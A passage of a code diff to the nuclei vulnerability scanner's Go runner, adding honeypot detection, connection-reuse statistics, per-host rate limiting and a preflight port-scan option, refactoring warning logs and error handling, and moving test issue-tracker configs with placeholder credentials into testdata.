ctm.Update(context.TODO())
|
||||
@@ -172,21 +187,25 @@ func New(options *types.Options) (*Runner, error) {
|
||||
if options.Validate {
|
||||
parser.ShouldValidate = true
|
||||
}
|
||||
|
||||
// TODO: refactor to pass options reference globally without cycles
|
||||
parser.NoStrictSyntax = options.NoStrictSyntax
|
||||
runner.parser = parser
|
||||
}
|
||||
|
||||
yaml.StrictSyntax = !options.NoStrictSyntax
|
||||
yaml.AllowLocalFileAccess = options.AllowLocalFileAccess
|
||||
|
||||
if options.Headless {
|
||||
if engine.MustDisableSandbox() {
|
||||
runner.Logger.Warning().Msgf("The current platform and privileged user will run the browser without sandbox\n")
|
||||
}
|
||||
|
||||
browser, err := engine.New(options)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
runner.browser = browser
|
||||
}
|
||||
|
||||
@@ -195,7 +214,8 @@ func New(options *types.Options) (*Runner, error) {
|
||||
var httpclient *retryablehttp.Client
|
||||
if options.ProxyInternal && options.AliveHttpProxy != "" || options.AliveSocksProxy != "" {
|
||||
var err error
|
||||
httpclient, err = httpclientpool.Get(options, &httpclientpool.Configuration{})
|
||||
|
||||
httpclient, err = httpclientpool.Get(options, &httpclientpool.Configuration{}, "")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -204,10 +224,12 @@ func New(options *types.Options) (*Runner, error) {
|
||||
if err := reporting.CreateConfigIfNotExists(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
reportingOptions, err := createReportingOptions(options)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if reportingOptions != nil && httpclient != nil {
|
||||
reportingOptions.HttpClient = httpclient
|
||||
}
|
||||
@@ -217,12 +239,13 @@ func New(options *types.Options) (*Runner, error) {
|
||||
if err != nil {
|
||||
return nil, errors.Wrap(err, "could not create issue reporting client")
|
||||
}
|
||||
|
||||
runner.issuesClient = client
|
||||
}
|
||||
|
||||
// output coloring
|
||||
useColor := !options.NoColor
|
||||
runner.colorizer = aurora.NewAurora(useColor)
|
||||
runner.colorizer = aurora.New(aurora.WithColors(useColor))
|
||||
templates.Colorizer = runner.colorizer
|
||||
templates.SeverityColorizer = colorizer.New(runner.colorizer)
|
||||
|
||||
@@ -261,6 +284,12 @@ func New(options *types.Options) (*Runner, error) {
|
||||
}
|
||||
}()
|
||||
|
||||
// Initialize honeypot detector (opt-in) so results can be suppressed.
|
||||
var hpDetector *honeypotdetector.Detector
|
||||
if options.HoneypotDetection {
|
||||
hpDetector = honeypotdetector.New(options.HoneypotThreshold)
|
||||
}
|
||||
|
||||
// create the input provider and load the inputs
|
||||
inputProvider, err := provider.NewInputProvider(provider.InputOptions{Options: options, TempDir: runner.tmpDir})
|
||||
if err != nil {
|
||||
@@ -273,6 +302,12 @@ func New(options *types.Options) (*Runner, error) {
|
||||
if err != nil {
|
||||
return nil, errors.Wrap(err, "could not create output file")
|
||||
}
|
||||
|
||||
if hpDetector != nil {
|
||||
outputWriter.SetHoneypotDetector(hpDetector)
|
||||
runner.honeypotDetector = hpDetector
|
||||
}
|
||||
|
||||
// setup a proxy writer to automatically upload results to PDCP
|
||||
runner.output = runner.setupPDCPUpload(outputWriter)
|
||||
if options.HTTPStats {
|
||||
@@ -283,9 +318,11 @@ func New(options *types.Options) (*Runner, error) {
|
||||
if options.JSONL && options.EnableProgressBar {
|
||||
options.StatsJSON = true
|
||||
}
|
||||
|
||||
if options.StatsJSON {
|
||||
options.EnableProgressBar = true
|
||||
}
|
||||
|
||||
// Creates the progress tracking object
|
||||
var progressErr error
|
||||
statsInterval := options.StatsInterval
|
||||
@@ -311,12 +348,15 @@ func New(options *types.Options) (*Runner, error) {
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = json.Unmarshal(file, &resumeCfg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
resumeCfg.Compile()
|
||||
}
|
||||
|
||||
runner.resumeCfg = resumeCfg
|
||||
|
||||
if options.DASTReport || options.DASTServer {
|
||||
@@ -325,11 +365,13 @@ func New(options *types.Options) (*Runner, error) {
|
||||
if err != nil {
|
||||
return nil, errors.Wrap(err, "could not create fuzz stats db")
|
||||
}
|
||||
|
||||
if !options.DASTServer {
|
||||
dastServer, err := server.NewStatsServer(runner.fuzzStats)
|
||||
if err != nil {
|
||||
return nil, errors.Wrap(err, "could not create dast server")
|
||||
}
|
||||
|
||||
runner.dastServer = dastServer
|
||||
}
|
||||
}
|
||||
@@ -339,6 +381,7 @@ func New(options *types.Options) (*Runner, error) {
|
||||
if request.Error == "none" || request.Error == "" {
|
||||
return
|
||||
}
|
||||
|
||||
runner.fuzzStats.RecordErrorEvent(fuzzStats.ErrorEvent{
|
||||
TemplateID: request.Template,
|
||||
URL: request.Input,
|
||||
@@ -376,6 +419,7 @@ func New(options *types.Options) (*Runner, error) {
|
||||
// in testing it was found most of times when interactsh failed, it was due to failure in registering /polling requests
|
||||
opts.HTTPClient = retryablehttp.NewClient(retryablehttp.DefaultOptionsSingle)
|
||||
}
|
||||
|
||||
interactshClient, err := interactsh.New(opts)
|
||||
if err != nil {
|
||||
runner.Logger.Error().Msgf("Could not create interactsh client: %s", err)
|
||||
@@ -384,17 +428,25 @@ func New(options *types.Options) (*Runner, error) {
|
||||
}
|
||||
|
||||
if options.RateLimitMinute > 0 {
|
||||
runner.Logger.Print().Msgf("[%v] %v", aurora.BrightYellow("WRN"), "rate limit per minute is deprecated - use rate-limit-duration")
|
||||
runner.Logger.Warning().Msg("rate limit per minute is deprecated - use rate-limit-duration")
|
||||
options.RateLimit = options.RateLimitMinute
|
||||
options.RateLimitDuration = time.Minute
|
||||
}
|
||||
|
||||
if options.RateLimit > 0 && options.RateLimitDuration == 0 {
|
||||
options.RateLimitDuration = time.Second
|
||||
}
|
||||
runner.rateLimiter = utils.GetRateLimiter(context.Background(), options.RateLimit, options.RateLimitDuration)
|
||||
|
||||
// If per-host rate limiting is enabled, make global rate limiter unlimited
|
||||
if options.PerHostRateLimit {
|
||||
runner.rateLimiter = utils.GetRateLimiter(context.Background(), 0, 0)
|
||||
} else {
|
||||
runner.rateLimiter = utils.GetRateLimiter(context.Background(), options.RateLimit, options.RateLimitDuration)
|
||||
}
|
||||
|
||||
// Initialization successful, disable cleanup on error
|
||||
cleanupOnError = false
|
||||
|
||||
return runner, nil
|
||||
}
|
||||
|
||||
@@ -403,6 +455,7 @@ func (r *Runner) runStandardEnumeration(executerOpts *protocols.ExecutorOptions,
|
||||
if r.options.AutomaticScan {
|
||||
return r.executeSmartWorkflowInput(executerOpts, store, engine)
|
||||
}
|
||||
|
||||
return r.executeTemplatesInput(store, engine)
|
||||
}
|
||||
|
||||
@@ -414,6 +467,29 @@ func (r *Runner) Close() {
|
||||
if r.httpStats != nil {
|
||||
r.httpStats.DisplayTopStats(r.options.NoColor)
|
||||
}
|
||||
if newConns, reusedConns := httpclientpool.GetConnectionStats(); newConns+reusedConns > 0 {
|
||||
total := newConns + reusedConns
|
||||
ratio := float64(reusedConns) / float64(total) * 100
|
||||
gologger.Info().Msgf("HTTP connections: %d total, %d new, %d reused (%.1f%%)", total, newConns, reusedConns, ratio)
|
||||
|
||||
// Per-host breakdown is opt-in (verbose) since large scans touch many hosts.
|
||||
if r.options.Verbose {
|
||||
perHost := httpclientpool.GetPerHostConnectionStats()
|
||||
sort.Slice(perHost, func(i, j int) bool {
|
||||
return (perHost[i].New + perHost[i].Reused) > (perHost[j].New + perHost[j].Reused)
|
||||
})
|
||||
const maxPerHostLines = 20
|
||||
for i, s := range perHost {
|
||||
if i >= maxPerHostLines {
|
||||
gologger.Info().Msgf("HTTP connections: ... and %d more host(s)", len(perHost)-maxPerHostLines)
|
||||
break
|
||||
}
|
||||
hostTotal := s.New + s.Reused
|
||||
hostRatio := float64(s.Reused) / float64(hostTotal) * 100
|
||||
gologger.Info().Msgf("HTTP connections [%s]: %d total, %d new, %d reused (%.1f%%)", s.Host, hostTotal, s.New, s.Reused, hostRatio)
|
||||
}
|
||||
}
|
||||
}
|
||||
// dump hosterrors cache
|
||||
if r.hostErrors != nil {
|
||||
r.hostErrors.Close()
|
||||
@@ -421,6 +497,10 @@ func (r *Runner) Close() {
|
||||
if r.output != nil {
|
||||
r.output.Close()
|
||||
}
|
||||
|
||||
if r.honeypotDetector != nil {
|
||||
r.Logger.Print().Msgf("%s\n", r.honeypotDetector.Summary())
|
||||
}
|
||||
if r.issuesClient != nil {
|
||||
r.issuesClient.Close()
|
||||
}
|
||||
@@ -490,6 +570,11 @@ func (r *Runner) setupPDCPUpload(writer output.Writer) output.Writer {
|
||||
// RunEnumeration sets up the input layer for giving input nuclei.
|
||||
// binary and runs the actual enumeration
|
||||
func (r *Runner) RunEnumeration() error {
|
||||
// Reset connection-reuse counters so the summary logged on Close()
|
||||
// reflects only this run, not totals accumulated across multiple
|
||||
// in-process executions (e.g. SDK / embedded usage).
|
||||
httpclientpool.ResetConnectionStats()
|
||||
|
||||
// If the user has asked for DAST server mode, run the live
|
||||
// DAST fuzzing server.
|
||||
if r.options.DASTServer {
|
||||
@@ -599,7 +684,7 @@ func (r *Runner) RunEnumeration() error {
|
||||
if r.options.ShouldUseHostError() {
|
||||
maxHostError := r.options.MaxHostError
|
||||
if r.options.TemplateThreads > maxHostError {
|
||||
r.Logger.Print().Msgf("[%v] The concurrency value is higher than max-host-error", r.colorizer.BrightYellow("WRN"))
|
||||
r.Logger.Warning().Msg("The concurrency value is higher than max-host-error")
|
||||
r.Logger.Info().Msgf("Adjusting max-host-error to the concurrency value: %d", r.options.TemplateThreads)
|
||||
|
||||
maxHostError = r.options.TemplateThreads
|
||||
@@ -623,8 +708,8 @@ func (r *Runner) RunEnumeration() error {
|
||||
|
||||
// If using input-file flags, only load http fuzzing based templates.
|
||||
loaderConfig := loader.NewConfig(r.options, r.catalog, executorOpts)
|
||||
if !strings.EqualFold(r.options.InputFileMode, "list") || r.options.DAST {
|
||||
// if input type is not list (implicitly enable fuzzing)
|
||||
if (!strings.EqualFold(r.options.InputFileMode, "list") || r.options.DAST) && !r.options.OfflineHTTP {
|
||||
// if input type is not list (implicitly enable fuzzing), unless passive/offlinehttp
|
||||
r.options.DAST = true
|
||||
}
|
||||
store, err := loader.New(loaderConfig)
|
||||
@@ -636,16 +721,20 @@ func (r *Runner) RunEnumeration() error {
|
||||
// This uses a separate parser to reduce time taken as
|
||||
// normally nuclei does a lot of compilation and stuff
|
||||
// for templates, which we don't want for these simp
|
||||
if r.options.TemplateList || r.options.TemplateDisplay || r.options.TagList {
|
||||
if r.options.TagList {
|
||||
tagsMap, err := store.LoadTemplateTags()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
r.listAvailableTags(tagsMap)
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
if r.options.TemplateList || r.options.TemplateDisplay {
|
||||
if err := store.LoadTemplatesOnlyMetadata(); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if r.options.TagList {
|
||||
r.listAvailableStoreTags(store)
|
||||
} else {
|
||||
r.listAvailableStoreTemplates(store)
|
||||
}
|
||||
r.listAvailableStoreTemplates(store)
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
@@ -653,14 +742,16 @@ func (r *Runner) RunEnumeration() error {
|
||||
if err := store.ValidateTemplates(); err != nil {
|
||||
return err
|
||||
}
|
||||
if stats.GetValue(templates.SyntaxErrorStats) == 0 && stats.GetValue(templates.SyntaxWarningStats) == 0 && stats.GetValue(templates.RuntimeWarningsStats) == 0 {
|
||||
if stats.GetValue(templates.TemplateSyntaxErrorStats) == 0 && stats.GetValue(templates.TemplateSyntaxWarningStats) == 0 && stats.GetValue(templates.TemplateRuntimeWarningStats) == 0 {
|
||||
r.Logger.Info().Msgf("All templates validated successfully")
|
||||
} else {
|
||||
return errors.New("encountered errors while performing template validation")
|
||||
}
|
||||
return nil // exit
|
||||
}
|
||||
store.Load()
|
||||
if err := store.Load(); err != nil {
|
||||
return err
|
||||
}
|
||||
// TODO: remove below functions after v3 or update warning messages
|
||||
templates.PrintDeprecatedProtocolNameMsgIfApplicable(r.options.Silent, r.options.Verbose)
|
||||
|
||||
@@ -678,11 +769,20 @@ func (r *Runner) RunEnumeration() error {
|
||||
_ = r.inputProvider.SetWithExclusions(r.options.ExecutionId, host)
|
||||
}
|
||||
}
|
||||
|
||||
// Preflight: resolve hosts + portscan for ports required by loaded templates, then filter inputs.
|
||||
// This reduces time spent on non-resolvable targets or targets with no relevant open ports.
|
||||
// Preflight is a best-effort optimization: on failure we log and continue with the full input set.
|
||||
if r.options.PreflightPortScan {
|
||||
if err := r.preflightResolveAndPortScan(store); err != nil {
|
||||
gologger.Warning().Msgf("preflight resolve/portscan failed, continuing without input filtering: %s", err)
|
||||
}
|
||||
}
|
||||
// display execution info like version , templates used etc
|
||||
r.displayExecutionInfo(store)
|
||||
|
||||
// prefetch secrets if enabled
|
||||
if executorOpts.AuthProvider != nil && r.options.PreFetchSecrets {
|
||||
// prefetch secrets to ensure authentication completes before scanning starts
|
||||
if executorOpts.AuthProvider != nil {
|
||||
r.Logger.Info().Msgf("Pre-fetching secrets from authprovider[s]")
|
||||
if err := executorOpts.AuthProvider.PreFetchSecrets(); err != nil {
|
||||
return errors.Wrap(err, "could not pre-fetch secrets")
|
||||
@@ -700,13 +800,15 @@ func (r *Runner) RunEnumeration() error {
|
||||
executorOpts.InputHelper.InputsHTTP = inputHelpers
|
||||
}
|
||||
|
||||
inputCount := int(r.inputProvider.Count())
|
||||
|
||||
// initialize stats worker ( this is no-op unless nuclei is built with stats build tag)
|
||||
// during execution a directory with 2 files will be created in the current directory
|
||||
// config.json - containing below info
|
||||
// events.jsonl - containing all start and end times of all templates
|
||||
events.InitWithConfig(&events.ScanConfig{
|
||||
Name: "nuclei-stats", // make this configurable
|
||||
TargetCount: int(r.inputProvider.Count()),
|
||||
TargetCount: inputCount,
|
||||
TemplatesCount: len(store.Templates()) + len(store.Workflows()),
|
||||
TemplateConcurrency: r.options.TemplateThreads,
|
||||
PayloadConcurrency: r.options.PayloadConcurrency,
|
||||
@@ -748,6 +850,25 @@ func (r *Runner) RunEnumeration() error {
|
||||
|
||||
r.progress.Stop()
|
||||
timeTaken := time.Since(now)
|
||||
|
||||
// Print pool/tracker stats if available (single dialers lookup, reads under lock)
|
||||
if dialers := protocolstate.GetDialersWithId(r.options.ExecutionId); dialers != nil {
|
||||
dialers.Lock()
|
||||
perHostRateLimitPool := dialers.PerHostRateLimitPool
|
||||
httpToHTTPSPortTracker := dialers.HTTPToHTTPSPortTracker
|
||||
dialers.Unlock()
|
||||
|
||||
if pool, ok := perHostRateLimitPool.(interface{ PrintStats() }); ok {
|
||||
pool.PrintStats()
|
||||
}
|
||||
if pool, ok := perHostRateLimitPool.(interface{ PrintPerHostPPSStats() }); ok {
|
||||
pool.PrintPerHostPPSStats()
|
||||
}
|
||||
if tracker, ok := httpToHTTPSPortTracker.(interface{ PrintStats() }); ok {
|
||||
tracker.PrintStats()
|
||||
}
|
||||
}
|
||||
|
||||
// todo: error propagation without canonical straight error check is required by cloud?
|
||||
// use safe dereferencing to avoid potential panics in case of previous unchecked errors
|
||||
if v := ptrutil.Safe(results); !v.Load() {
|
||||
@@ -842,49 +963,44 @@ func (r *Runner) executeTemplatesInput(store *loader.Store, engine *core.Engine)
|
||||
return results, nil
|
||||
}
|
||||
|
||||
// displayExecutionInfo displays misc info about the nuclei engine execution
|
||||
// displayExecutionInfo prints parser stats, version info, and scan counts.
|
||||
func (r *Runner) displayExecutionInfo(store *loader.Store) {
|
||||
// Display stats for any loaded templates' syntax warnings or errors
|
||||
stats.Display(templates.SyntaxWarningStats)
|
||||
stats.Display(templates.SyntaxErrorStats)
|
||||
stats.Display(templates.RuntimeWarningsStats)
|
||||
// Display parser stats for templates loaded into the store.
|
||||
stats.Display(templates.TemplateSyntaxWarningStats)
|
||||
stats.Display(templates.TemplateSyntaxErrorStats)
|
||||
stats.Display(templates.TemplateRuntimeWarningStats)
|
||||
|
||||
tmplCount := len(store.Templates())
|
||||
workflowCount := len(store.Workflows())
|
||||
if r.options.Verbose || (tmplCount == 0 && workflowCount == 0) {
|
||||
// only print these stats in verbose mode
|
||||
stats.ForceDisplayWarning(templates.ExcludedHeadlessTmplStats)
|
||||
stats.ForceDisplayWarning(templates.ExcludedCodeTmplStats)
|
||||
stats.ForceDisplayWarning(templates.ExludedDastTmplStats)
|
||||
stats.ForceDisplayWarning(templates.TemplatesExcludedStats)
|
||||
stats.ForceDisplayWarning(templates.ExcludedFileStats)
|
||||
stats.ForceDisplayWarning(templates.ExcludedSelfContainedStats)
|
||||
// Excluded-template stats are noisy during normal scans, but useful in verbose mode
|
||||
// and when no runnable templates remain.
|
||||
for _, capability := range templates.AllCapabilities() {
|
||||
stats.ForceDisplayWarning(capability.Stat())
|
||||
}
|
||||
stats.ForceDisplayWarning(templates.ExcludedWeakMatcherTemplateStats)
|
||||
}
|
||||
|
||||
if tmplCount == 0 && workflowCount == 0 {
|
||||
// if dast flag is used print explicit warning
|
||||
if r.options.DAST {
|
||||
r.Logger.Print().Msgf("[%v] No DAST templates found", aurora.BrightYellow("WRN"))
|
||||
r.Logger.Warning().Msg("No DAST templates found")
|
||||
}
|
||||
stats.ForceDisplayWarning(templates.SkippedCodeTmplTamperedStats)
|
||||
stats.ForceDisplayWarning(templates.SkippedUnverifiedCodeTemplateStats)
|
||||
stats.ForceDisplayWarning(templates.SkippedUnverifiedJavascriptTemplateStats)
|
||||
} else {
|
||||
stats.DisplayAsWarning(templates.SkippedCodeTmplTamperedStats)
|
||||
stats.DisplayAsWarning(templates.SkippedUnverifiedCodeTemplateStats)
|
||||
stats.DisplayAsWarning(templates.SkippedUnverifiedJavascriptTemplateStats)
|
||||
}
|
||||
|
||||
stats.DisplayAsWarning(httpProtocol.SetThreadToCountZero)
|
||||
stats.ForceDisplayWarning(templates.SkippedUnsignedStats)
|
||||
stats.ForceDisplayWarning(templates.SkippedRequestSignatureStats)
|
||||
stats.ForceDisplayWarning(templates.SkippedUnverifiedTemplateStats)
|
||||
stats.ForceDisplayWarning(templates.SkippedRequestSignatureTemplateStats)
|
||||
|
||||
cfg := config.DefaultConfig
|
||||
|
||||
updateutils.Aurora = r.colorizer
|
||||
versionInfo := func(version, latestVersion, versionType string) string {
|
||||
if !cfg.CanCheckForUpdates() {
|
||||
return fmt.Sprintf("Current %s version: %v (%s) - remove '-duc' flag to enable update checks", versionType, version, r.colorizer.BrightYellow("unknown"))
|
||||
}
|
||||
return fmt.Sprintf("Current %s version: %v %v", versionType, version, updateutils.GetVersionDescription(version, latestVersion))
|
||||
}
|
||||
|
||||
gologger.Info().Msg(versionInfo(config.Version, cfg.LatestNucleiVersion, "nuclei"))
|
||||
gologger.Info().Msg(versionInfo(cfg.TemplateVersion, cfg.LatestNucleiTemplatesVersion, "nuclei-templates"))
|
||||
gologger.Info().Msg(versionInfo(cfg, r.colorizer, config.Version, cfg.LatestNucleiVersion, "nuclei"))
|
||||
gologger.Info().Msg(templateVersionInfo(cfg, r.colorizer))
|
||||
if !HideAutoSaveMsg {
|
||||
if r.pdcpUploadErrMsg != "" {
|
||||
r.Logger.Warning().Msgf("%s", r.pdcpUploadErrMsg)
|
||||
@@ -905,7 +1021,7 @@ func (r *Runner) displayExecutionInfo(store *loader.Store) {
|
||||
value := v.Load()
|
||||
if value > 0 {
|
||||
if k == templates.Unsigned && !r.options.Silent && !config.DefaultConfig.HideTemplateSigWarning {
|
||||
r.Logger.Print().Msgf("[%v] Loading %d unsigned templates for scan. Use with caution.", r.colorizer.BrightYellow("WRN"), value)
|
||||
r.Logger.Warning().Msgf("Loading %d unsigned templates for scan. Use with caution.", value)
|
||||
} else {
|
||||
r.Logger.Info().Msgf("Executing %d signed templates from %s", value, k)
|
||||
}
|
||||
@@ -918,19 +1034,40 @@ func (r *Runner) displayExecutionInfo(store *loader.Store) {
|
||||
}
|
||||
}
|
||||
|
||||
func versionInfo(cfg *config.Config, colorizer *aurora.Aurora, version, latestVersion, versionType string) string {
|
||||
if !cfg.CanCheckForUpdates() {
|
||||
return fmt.Sprintf("Current %s version: %v (%s) - remove '-duc' flag to enable update checks", versionType, version, colorizer.BrightYellow("unknown"))
|
||||
}
|
||||
|
||||
return fmt.Sprintf("Current %s version: %v %v", versionType, version, updateutils.GetVersionDescription(version, latestVersion))
|
||||
}
|
||||
|
||||
func templateVersionInfo(cfg *config.Config, colorizer *aurora.Aurora) string {
|
||||
return versionInfo(cfg, colorizer, cfg.TemplateVersion, cfg.LatestNucleiTemplatesVersion, "nuclei-templates")
|
||||
}
|
||||
|
||||
// SaveResumeConfig to file
|
||||
func (r *Runner) SaveResumeConfig(path string) error {
|
||||
dir := filepath.Dir(path)
|
||||
if !fileutil.FolderExists(dir) {
|
||||
if err := os.MkdirAll(dir, os.ModePerm); err != nil {
|
||||
return err
|
||||
if err := os.MkdirAll(dir, 0o700); err != nil {
|
||||
return fmt.Errorf("create resume directory %q: %w", dir, err)
|
||||
}
|
||||
}
|
||||
|
||||
resumeCfgClone := r.resumeCfg.Clone()
|
||||
resumeCfgClone.ResumeFrom = resumeCfgClone.Current
|
||||
data, _ := json.MarshalIndent(resumeCfgClone, "", "\t")
|
||||
|
||||
return os.WriteFile(path, data, permissionutil.ConfigFilePermission)
|
||||
data, err := json.MarshalIndent(resumeCfgClone, "", "\t")
|
||||
if err != nil {
|
||||
return fmt.Errorf("encode resume configuration: %w", err)
|
||||
}
|
||||
|
||||
if err := os.WriteFile(path, data, permissionutil.ConfigFilePermission); err != nil {
|
||||
return fmt.Errorf("write resume configuration %q: %w", path, err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// upload existing scan results to cloud with progress
|
||||
@@ -989,7 +1126,7 @@ type WalkFunc func(reflect.Value, reflect.StructField)
|
||||
// reflect.Value and reflect.Type properties of the value in the struct.
|
||||
func Walk(s interface{}, callback WalkFunc) {
|
||||
structValue := reflect.ValueOf(s)
|
||||
if structValue.Kind() == reflect.Ptr {
|
||||
if structValue.Kind() == reflect.Pointer {
|
||||
structValue = structValue.Elem()
|
||||
}
|
||||
if structValue.Kind() != reflect.Struct {
|
||||
@@ -1003,7 +1140,7 @@ func Walk(s interface{}, callback WalkFunc) {
|
||||
}
|
||||
if field.Kind() == reflect.Struct {
|
||||
Walk(field.Addr().Interface(), callback)
|
||||
} else if field.Kind() == reflect.Ptr && field.Elem().Kind() == reflect.Struct {
|
||||
} else if field.Kind() == reflect.Pointer && field.Elem().Kind() == reflect.Struct {
|
||||
Walk(field.Interface(), callback)
|
||||
} else {
|
||||
callback(field, fieldType)
|
||||
|
||||
@@ -2,6 +2,7 @@ package runner
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"github.com/stretchr/testify/require"
|
||||
@@ -12,14 +13,14 @@ import (
|
||||
|
||||
func TestCreateReportingOptions(t *testing.T) {
|
||||
var options types.Options
|
||||
options.ReportingConfig = "../../integration_tests/test-issue-tracker-config1.yaml"
|
||||
options.ReportingConfig = filepath.Join("testdata", "test-issue-tracker-config1.yaml")
|
||||
resultOptions, err := createReportingOptions(&options)
|
||||
|
||||
require.Nil(t, err)
|
||||
require.Equal(t, resultOptions.AllowList.Severities, severity.Severities{severity.High, severity.Critical})
|
||||
require.Equal(t, resultOptions.DenyList.Severities, severity.Severities{severity.Low})
|
||||
|
||||
options.ReportingConfig = "../../integration_tests/test-issue-tracker-config2.yaml"
|
||||
options.ReportingConfig = filepath.Join("testdata", "test-issue-tracker-config2.yaml")
|
||||
resultOptions2, err := createReportingOptions(&options)
|
||||
require.Nil(t, err)
|
||||
require.Equal(t, resultOptions2.AllowList.Severities, resultOptions.AllowList.Severities)
|
||||
|
||||
@@ -7,13 +7,13 @@ import (
|
||||
"strings"
|
||||
|
||||
"github.com/alecthomas/chroma/quick"
|
||||
jsoniter "github.com/json-iterator/go"
|
||||
"github.com/logrusorgru/aurora"
|
||||
"github.com/logrusorgru/aurora/v4"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/catalog/loader"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/templates"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/types"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/utils/json"
|
||||
)
|
||||
|
||||
// log available templates for verbose (-vv)
|
||||
@@ -78,18 +78,13 @@ func (r *Runner) listAvailableStoreTemplates(store *loader.Store) {
|
||||
}
|
||||
}
|
||||
|
||||
func (r *Runner) listAvailableStoreTags(store *loader.Store) {
|
||||
func (r *Runner) listAvailableTags(tagsMap map[string]int) {
|
||||
r.Logger.Print().Msgf(
|
||||
"\nListing available %v nuclei tags for %v",
|
||||
config.DefaultConfig.TemplateVersion,
|
||||
config.DefaultConfig.TemplatesDirectory,
|
||||
)
|
||||
tagsMap := make(map[string]int)
|
||||
for _, tpl := range store.Templates() {
|
||||
for _, tag := range tpl.Info.Tags.ToSlice() {
|
||||
tagsMap[tag]++
|
||||
}
|
||||
}
|
||||
|
||||
type kv struct {
|
||||
Key string `json:"tag"`
|
||||
Value int `json:"count"`
|
||||
@@ -104,10 +99,10 @@ func (r *Runner) listAvailableStoreTags(store *loader.Store) {
|
||||
|
||||
for _, tag := range tagsList {
|
||||
if r.options.JSONL {
|
||||
marshalled, _ := jsoniter.Marshal(tag)
|
||||
r.Logger.Debug().Msgf("%s", string(marshalled))
|
||||
marshalled, _ := json.Marshal(tag)
|
||||
r.Logger.Print().Msgf("%s", string(marshalled))
|
||||
} else {
|
||||
r.Logger.Debug().Msgf("%s (%d)", tag.Key, tag.Value)
|
||||
r.Logger.Print().Msgf("%s (%d)", tag.Key, tag.Value)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,68 @@
|
||||
allow-list:
|
||||
severity: high, critical
|
||||
deny-list:
|
||||
severity: low
|
||||
|
||||
# GitHub contains configuration options for GitHub issue tracker
|
||||
github:
|
||||
# base-url is the optional self-hosted GitHub application url
|
||||
base-url: https://localhost:8443/github
|
||||
# username is the username of the GitHub user
|
||||
username: test-username
|
||||
# owner is the owner name of the repository for issues
|
||||
owner: test-owner
|
||||
# token is the token for GitHub account
|
||||
token: test-token
|
||||
# project-name is the name of the repository
|
||||
project-name: test-project
|
||||
# issue-label is the label of the created issue type
|
||||
issue-label: bug
|
||||
|
||||
# GitLab contains configuration options for gitlab issue tracker
|
||||
gitlab:
|
||||
# base-url is the optional self-hosted GitLab application url
|
||||
base-url: https://localhost:8443/gitlab
|
||||
# username is the username of the GitLab user
|
||||
username: test-username
|
||||
# token is the token for GitLab account
|
||||
token: test-token
|
||||
# project-name is the name/id of the project(repository)
|
||||
project-name: "1234"
|
||||
# issue-label is the label of the created issue type
|
||||
issue-label: bug
|
||||
|
||||
# Jira contains configuration options for Jira issue tracker
|
||||
jira:
|
||||
# cloud is the boolean which tells if Jira instance is running in the cloud or on-prem version is used
|
||||
cloud: true
|
||||
# update-existing is the boolean which tells if the existing, opened issue should be updated or new one should be created
|
||||
update-existing: false
|
||||
# URL is the jira application url
|
||||
url: https://localhost/jira
|
||||
# account-id is the account-id of the Jira user or username in case of on-prem Jira
|
||||
account-id: test-account-id
|
||||
# email is the email of the user for Jira instance
|
||||
email: [email protected]
|
||||
# token is the token for Jira instance or password in case of on-prem Jira
|
||||
token: test-token
|
||||
# project-name is the name of the project.
|
||||
project-name: test-project-name
|
||||
# issue-type is the name of the created issue type
|
||||
issue-type: bug
|
||||
|
||||
# elasticsearch contains configuration options for elasticsearch exporter
|
||||
elasticsearch:
|
||||
# IP for elasticsearch instance
|
||||
ip: 127.0.0.1
|
||||
# Port is the port of elasticsearch instance
|
||||
port: 9200
|
||||
# IndexName is the name of the elasticsearch index
|
||||
index-name: nuclei
|
||||
# SSL enables ssl for elasticsearch connection
|
||||
ssl: false
|
||||
# SSLVerification disables SSL verification for elasticsearch
|
||||
ssl-verification: false
|
||||
# Username for the elasticsearch instance
|
||||
username: test
|
||||
# Password is the password for elasticsearch instance
|
||||
password: test
|
||||
File renamed without changes.
@@ -0,0 +1,45 @@
|
||||
package runner
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config"
|
||||
)
|
||||
|
||||
func TestTemplateVersionInfoIgnoresLegacyDiscoverySource(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
root := filepath.Join(dir, "system", config.BinaryName, config.NucleiTemplatesDirName)
|
||||
cfg := &config.Config{}
|
||||
cfg.SetStateDir(filepath.Join(dir, "state"))
|
||||
|
||||
state, err := json.Marshal(map[string]string{
|
||||
"nuclei-templates-directory": root,
|
||||
"nuclei-templates-directory-source": "xdg-system",
|
||||
"nuclei-templates-version": "v1.2.3",
|
||||
"nuclei-templates-latest-version": "v99.0.0",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("marshal templates state: %v", err)
|
||||
}
|
||||
if err := os.MkdirAll(filepath.Dir(cfg.GetTemplatesStateFilePath()), 0o700); err != nil {
|
||||
t.Fatalf("create state directory: %v", err)
|
||||
}
|
||||
if err := os.WriteFile(cfg.GetTemplatesStateFilePath(), state, 0o600); err != nil {
|
||||
t.Fatalf("write templates state: %v", err)
|
||||
}
|
||||
if err := cfg.ReadTemplatesConfig(); err != nil {
|
||||
t.Fatalf("read templates state: %v", err)
|
||||
}
|
||||
|
||||
